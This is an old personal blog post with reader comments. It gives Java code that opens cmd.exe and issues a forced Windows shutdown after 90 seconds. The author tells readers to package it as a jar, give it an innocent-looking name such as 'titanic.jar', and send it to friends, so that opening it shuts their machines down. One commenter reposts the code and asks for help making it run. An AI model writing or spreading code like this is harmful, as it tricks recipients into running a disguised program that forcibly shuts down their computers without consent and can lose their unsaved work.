Ramblings from a Bihari!

Just another WordPress.com weblog

Did u know that u can shutdown someone’s machine(windows) using java????

ha ha ha, there is no particular fundoo java is involved here. Here is the code…u must know the location where windows is installed. Currently i assumed it to be….C:\Windows. So, the cmd.exe is inside C:\Windows\System32. Now follows the code….

package com.deepak.entertainment;

import java.io.IOException;
import java.io.OutputStream;

public class Deepak {
 
 public static void main(String[] args) throws InterruptedException {
  Runtime runtime = Runtime.getRuntime();
  try {
   Process process = runtime.exec(“C:\\WINDOWS\\system32\\cmd.exe”);
   OutputStream os = process.getOutputStream();
   os.write(“shutdown -s -f -t 90 \n\r”.getBytes());
   os.close();
   process.waitFor();
  } catch (IOException e) {
   e.printStackTrace();
  }
 }

}

package this class in a jar file with proper Main-Class entry in manifest file. U can always use jar -mcvf command to create a jar file if u have a proper manifest file. Otherwise the IDEs like eclipse allow tou to export ur main class as a jar file. Done!!!

Now, give this jar file a good name something like “titanic.jar” or something and send it to ur friends. If they have a jdk instlled and they double click the file(open with java) the machine will be shutdown in 90 seconds(configurable in the above code). You cant kill the shutdown process untill you open a command prompt and type

shutdown -a

a is for aborting shutdown.

Cheersssssssssssss!!!!!

September 17, 2007 - Posted by | database, techie stuff

3 Comments »

  1. I would like to see a continuation of the topic

    Comment by Maximus | December 20, 2007 | Reply

  2. Hi Deepak,

    I am using your code for shutdown windows. I copied the same class as you given and replaced path of “cmd.exe” like “c://WINNT/system32/cmd.exe” as I am working on Windows2000. But my code is not able to shutdown machine. it just executed without any error.

    here is the method which I have written:

    public static void main (String[] args) throws InterruptedException {
    Runtime runtime = Runtime.getRuntime ();
    try {
    Process process = runtime.exec (“C:\\WINNT\\system32\\cmd.exe”);
    OutputStream os = process.getOutputStream ();
    os.write (“shutdown -s -f -t 90 \n\r”.getBytes ());
    os.close ();
    process.waitFor ();
    } catch (IOException e) {
    e.printStackTrace ();
    }
    }

    Please help me if any changes may required in the code.

    Thanks,
    Tejas

    Comment by Tejas Purohit | July 26, 2008 | Reply

  3. Hi Please try this link.. You can find both using Microsoft VC++ compilers and MinGW compilers

    http://elangovv.wordpress.com/

    Comment by elangovv | August 8, 2010 | Reply


Leave a comment